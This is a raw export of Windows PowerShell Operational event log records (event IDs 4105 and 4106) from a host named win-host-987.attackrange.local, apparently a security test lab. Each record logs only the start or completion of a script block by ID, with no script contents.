SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043837
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043836
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043835
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043834
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043833
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043832
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043831
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043830
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043829
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043828
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043827
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043826
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043825
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043824
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043823
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043822
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043821
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043820
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043819
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043818
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043817
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043816
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043815
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043814
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043813
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043812
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043811
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043810
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043809
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043808
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043807
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043806
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043805
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043804
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043803
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043802
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043801
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043800
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043799
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043798
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043797
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043796
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043795
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043794
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043793
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043792
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043791
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043790
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043789
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043788
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043787
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043786
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043785
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
